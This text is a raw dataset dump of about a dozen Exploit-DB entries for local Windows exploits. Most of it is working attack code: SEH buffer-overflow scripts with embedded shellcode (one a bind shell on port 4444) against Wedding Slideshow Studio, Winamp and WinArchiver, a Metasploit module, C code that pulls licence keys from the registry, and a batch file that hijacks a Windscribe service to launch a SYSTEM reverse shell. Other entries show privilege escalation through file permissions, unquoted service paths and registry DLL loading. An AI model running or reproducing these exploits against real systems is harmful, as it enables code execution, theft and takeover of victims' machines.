deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45142
Description: Wedding Slideshow Studio 1.36 - Buffer Overflow
Type: local
Platform: windows
Date: 2018-08-03
Author: Achilles

Exploit:
###########################################################################################
# Exploit Title: Socumsoft Wedding Slideshow Studio 1.36
# Date: 02.08.2018
# Exploit Author: Achilles
# Vendor Homepage: http://www.socusoft.com
# Vulnerable Software: http://www.socusoft.com/down/wedding-slideshow-studio.exe
# Tested on OS: Windows 7 64-bit DE
# Steps to reproduce: Copy the contents of the file (Evil.txt)
# and paste in the License Name field click Register and BOOM
###########################################################################################

#!/usr/bin/env python


file = open("Evil.txt","wb")
junk = "\x41" * 512
nseh = "\x90\x90\xeb\x06" #jmp short 6
seh =  "\x91\x54\x01\x10" #pop pop retn DVDPhotoData.dll

nops = "\x90" * 20

buf =  ""
buf += "\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33" #Bind shellcode port 4444
buf += "\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
buf += "\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
buf += "\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
buf += "\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
buf += "\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
buf += "\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
buf += "\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
buf += "\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
buf += "\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
buf += "\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
buf += "\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
buf += "\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
buf += "\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
buf += "\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
buf += "\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
buf += "\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
buf += "\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
buf += "\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
buf += "\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
buf += "\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
buf += "\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
buf += "\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
buf += "\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
buf += "\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
buf += "\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
buf += "\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
buf += "\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
buf += "\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
buf += "\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
buf += "\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
buf += "\xc8\x28\x1b\xd5\x3f\x51"
 
exploit = junk + nseh + seh + nops + buf
 
file.write(exploit)
file.close()
Exploit-DB #39260
Description: WEG SuperDrive G2 12.0.0 - Insecure File Permissions
Type: local
Platform: windows
Date: 2016-01-18
Author: LiquidWorm

Exploit:

WEG SuperDrive G2 v12.0.0 Insecure File Permissions


Vendor: WEG Group
Product web page: http://www.weg.net
Affected version: SuperDrive G2 (v12.0.0 Build 20150930-J1.8.0_60-NB8.0.2)
                  SuperDrive (v7.0.0)

Summary: SuperDrive is a Windows graph tool for parameter setting,
control and monitor of WEG Drives. It permits to edit directly in the
drive online parameters, or to edit offline parameter files stored
in the microcomputer. It enables you to store parameters of all drives
that exist in the installation. The software also incorporates functions
enable the upload to the drive of the microcomputer parameters sets
as well as the download from the drive to the microcomputer. The
communication between drive and microcomputer is realized via RS232
serial interface (point to point) or by RS485 for network linkage.

Desc: SuperDrive suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'C' flag (Change) for 'Authenticated
Users' group.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Microsoft Windows 7 Professional SP1 (EN)
           Java 1.8.0_60


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5294
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5294.php


25.11.2015

--


C:\WEG\SuperDrive 7.0.0>cacls SuperDrive.exe
C:\WEG\SuperDrive 7.0.0\SuperDrive.exe BUILTIN\Administrators:F
                                       NT AUTHORITY\SYSTEM:F
                                       BUILTIN\Users:R
                                       NT AUTHORITY\Authenticated Users:C


C:\WEG\SuperDrive 7.0.0>


C:\WEG\SuperDrive G2 12.0.0>cacls *.exe
C:\WEG\SuperDrive G2 12.0.0\SuperDriveG2.exe BUILTIN\Administrators:F
                                             NT AUTHORITY\SYSTEM:F
                                             BUILTIN\Users:R
                                             NT AUTHORITY\Authenticated Users:C

C:\WEG\SuperDrive G2 12.0.0\unins000.exe BUILTIN\Administrators:F
                                         NT AUTHORITY\SYSTEM:F
                                         BUILTIN\Users:R
                                         NT AUTHORITY\Authenticated Users:C


C:\WEG\SuperDrive G2 12.0.0>
Exploit-DB #49999
Description: WibuKey Runtime 6.51 - 'WkSvW32.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-14
Author: Brian Rodriguez

Exploit:
# Exploit Title: WibuKey Runtime 6.51 - 'WkSvW32.exe' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 13-06-2021
# Vendor Homepage: https://www.wibu.com
# Software Links: https://www.wibu.com/us/support/user/downloads-user-software/file/download/5792.html
# Tested Version: 6.51
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
WIBU-KEY Server
        WkSvW32.exe                               C:\PROGRAM FILES
(X86)\WIBUKEY\SERVER\WkSvW32.exe
                                   Auto

C:\Users\IEUser>sc qc WkSvW32.exe
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WkSvW32.exe
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\PROGRAM FILES
(X86)\WIBUKEY\SERVER\WkSvW32.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WIBU-KEY Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49845
Description: WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-07
Author: Erick Galindo

Exploit:
# Exploit Title: WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-06
# Vendor Homepage: https://www.gearboxcomputers.com/downloads/wifihotspot.exe
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:
 
c:\wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
MainService     WifiHotSpotSvc      C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe                          Auto

# Service info
sc qc wifihotspotsvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: wifihotspotsvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\WifiHotSpot\WifiHotSpotService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : MainService
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem 
 
#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #1085
Description: Willing Webcam 2.8 - Licence Information Disclosure
Type: local
Platform: windows
Date: 2005-07-04
Author: Kozan

Exploit:
/*****************************************************************

Willing Webcam 2.8 licence info disclosure local exploit by Kozan

Application: Willing Webcam 2.8 (and probably prior versions)
Vendor: Willing Software - www.willingsoftware.com
Vulnerable Description: Willing Webcam 2.8 discloses licence
informations (username and key) to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>
#define BUF 100

int main()
{

       HKEY hKey;
       char Name[BUF], Key[BUF];
       DWORD dwBUFLEN = BUF;
       LONG lRet;

       if( RegOpenKeyEx(HKEY_CURRENT_USER,
                                        "Software\\Willing Software\\Willing WebCam",
                                        0,
                                        KEY_QUERY_VALUE,
                                        &hKey ) == ERROR_SUCCESS )
       {
               lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, (LPBYTE)Name, &dwBUFLEN);
               if (lRet != ERROR_SUCCESS || dwBUFLEN > BUF) strcpy(Name,"Not Found!");

               lRet = RegQueryValueEx(hKey, "Key", NULL, NULL, (LPBYTE)Key, &dwBUFLEN);
               if (lRet != ERROR_SUCCESS || dwBUFLEN > BUF) strcpy(Key,"Not Found!");

               RegCloseKey(hKey);

               printf("Willing Webcam 2.8 Local Exploit by Kozan\n");
               printf("Credits to ATmaCA\n");
               printf("www.netmagister.com - www.spyinstructors.com \n");
               printf("kozan@netmagister.com\n\n");
               printf("Licence Name : %8s\n",Name);
               printf("Licence Key  : %8s\n",Key);
       }
       else
       {
               printf("Willing Webcam 2.8 is not installed on your system!\n");
       }
       return 0;
}

// milw0rm.com [2005-07-04]
Exploit-DB #12255
Description: Winamp 5.572 - 'whatsnew.txt' (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2010-04-16
Author: blake

Exploit:
# Title: Winamp 5.572 whatsnew.txt SEH (MSF)
# Author: Blake
# Published: 2010-04-15
# Tested on Windows XP SP3

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Winamp 5.572 whatsnew.txt Buffer Overflow Exploit (SEH)',
            'Description' => %q{
                This module exploits a stack overflow in Winamp version 5.572.
            By creating a specially crafted whatsnew.txt file, an an attacker may be able
            to execute arbitrary code. This exploit is triggered by accessing the help - winamp
        - version history option once the whatsnew.txt file has been placed in the Winamp directory.
            },
            'License' => MSF_LICENSE,
            'Author' => 'Blake',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11267' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 4488,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x10025497} ], #  pop ebx; pop ebp; retn gen_jumpex.dll

                ],
            'Privileged' => false,
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'whatsnew.txt']),
            ], self.class)
    end


    def exploit

    sploit = "Winamp 5.572"
        sploit << rand_text_alphanumeric(672)
        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 20                    # nop sled
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(4488 - payload.encoded.length)

        whatsnewtxt = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(whatsnewtxt)

    end

end
Exploit-DB #11255
Description: Winamp 5.572 - 'whatsnew.txt' Local Stack Overflow
Type: local
Platform: windows
Date: 2010-01-25
Author: Dz_attacker

Exploit:
# Tested on: Windows xp sp3
# Code :

#!/usr/bin/perl
# Winamp v5.572 whatsnew.txt Stack Overflow Exploit
# Original : http://www.exploit-db.com/exploits/11248
# Exploit by : Dz_attacker (dz_attacker@hotmail.fr)

## win32_exec - EXITFUNC=process CMD=calc
my $shellcode = "UYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp3JiOsYyYNxYZNKiBTety".
"dQKMQ43TSmT8LWbTPK3ZKKLyrL4t8Tdsf20OtHLMI2uOHqWPnr5IlXMKMOkJkKdnypOOTXMjY".
"pY4OzXlYGaPjimIBniGXG8Zr1tNc6m8XgmK5dNyiYtoOJ8uf24L1fILYBo90XML9T6TOKpaIO".
"kYKjpuCIktOn0nyvqpoqURn7DOp4OGSXP9pw7rrwPwqdLsZ7lvolL5NOkL4n0MoMKxlO49iVy".
"4OpLI2fpk48LLYT8NXNsgSjFXdNzokkXWwtLpiqPJLlrxJkBxwMtNjJNtNjb1UJO3SNOQcalM".
"7XLR2tPtJA";
my $overflow = "Winamp 5.572".
"A" x 540 .
"UbSx". # push ebp;ret
"H" x 36 .
$shellcode.
"A" x 500;


open(myfile,'>>whatsnew.txt');

print myfile $overflow;
Exploit-DB #25131
Description: WinArchiver 3.2 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-05-01
Author: RealPentesting

Exploit:
#/usr/bin/python
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://winarchiver.com
# Software Link: http://www.winarchiver.com/WinArchiver3.exe
# Version: 3.2 
# Tested on: Windows XP SP3

# Exploit-DB Note:
# This submission needs tweaking but a crash does occur 

zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer =  "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()
Exploit-DB #51203
Description: Windows 11 10.0.22000 -  Backup service Privilege Escalation
Type: local
Platform: windows
Date: 2023-04-03
Author: nu11secur1ty

Exploit:
## Title: Windows 11 10.0.22000 -  Backup service Privilege Escalation
## Author: nu11secur1ty
## Date: 01.13.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/software-download/windows11
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752

## Description:
Windows 11 Pro build 10.0.22000 Build 22000 suffers from  Backup
service - Privilege Escalation vulnerability.
An attacker who successfully exploited this vulnerability could gain
SYSTEM privileges.
and could delete data that could include data that results in the
service being unavailable.


## STATUS: HIGH Vulnerability - CRITICAL

[+] Exploit:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)

## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752)

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-21752/PoC)

## Proof and Exploit:
[href](https://streamable.com/f2dl3m)



-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html https://0day.today/
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #50517
Description: Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade Local Privilege Escalation
Type: local
Platform: windows
Date: 2021-11-12
Author: Marcio Mendes

Exploit:
# Exploit Title: Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade Local Privilege Escalation
# Date: 11/11/2021
# Exploit Author: it
# Vendor Homepage: https://www.microsoft.com
# Software Link: https://www.microsoft.com/pt-br/download/details.aspx?id=8518
# Version: Version 6.1 Compilation 7601 Service Pack 1
# Tested on: Microsoft Windows MultiPoint Server 2011 - English Version

Description
Service Local Privilege Escalation - Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnschade

Vulnerable: |Service Local Privilege Escalation - Windows MultiPoint Server 2011 SP1 - RpcEptMapper and Dnscache

Vulnerability Type: Privilege Escalation

Tested on: Microsoft Windows MultiPoint Server 2011 - Version 6.1 Compilation 7601 Service Pack 1

Language OS: English

The Vulnerability

Clément wrote a very useful permissions-checking tool for Windows that
find various misconfigurations in Windows that could allow a local
attacker to elevate their privileges. On a typical Windows 7 and
Server 2008 R2 machine, the tool found that all local users have write
permissions on two registry keys:

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper

These didn't immediately seem exploitable, but Clément did the legwork
and found the Windows Performance Monitoring mechanism can be made to
read from these keys - and eventually load the DLL provided by the
local attacker. To most everyone's surprise, not as the local user,
but as Local System.

In short, a local non-admin user on the computer just creates a
Performance subkey in one of the above keys, populates it with some
values, and triggers performance monitoring, which leads to a Local
System WmiPrvSE.exe process loading attacker's DLL and executing code
from it.

About Artiche: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
I detected that in another version of windows it is also vulnerable,
Windows Multipoint 2011, which can affect customers who use extended
license;

I can't say if there are any other vulnerable unpublished versions
besides the ones I've posted here

How to Produce Exploitation

Compile Exploit Perfusion in Visual Studio 2019 - Open Project, Make
Release x64 and Compile.

Is necessary install microsoft visual c++ redistributable on Windows
MultiPoint 2011 for execute exploit

The exploit Add Subkeys in

HKLM\SYSTEM\CurrentControlSet\Services\Dnscache

HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance

Library = Name of your performance DLL

Open = Name of your Open function in your DLL

Collect = Name of your Collect function in your DLL

Close = Name of your Close function in your DLL

and Exploit Write payload dll hijacking, call dll with permission SYSTEM using WMI

Tools and Exploit:
https://github.com/itm4n/PrivescCheck

Exploit:
https://github.com/itm4n/Perfusion
Exploit-DB #48624
Description: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-06-26
Author: Ethan Seow

Exploit:
# Exploit Title: Windscribe 1.83 - 'WindscribeService' Unquoted Service Path
# Date: 2020-06-26
# Exploit Author: Ethan Seow
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Microsoft Windows 10 Home 10.0.18363 Build 18363


#filename : exploit.bat

#Code start
@echo off

sc config WindscribeService binPath="cmd /k {PATH TO REVERSE SHELL e.g.
C:\Users\Public\payload.exe}"
sc stop WindscribeService
sc start WindscribeService
echo Exploit success! SYSTEM reverse shell should be triggered :DDDDD
pause

#Code end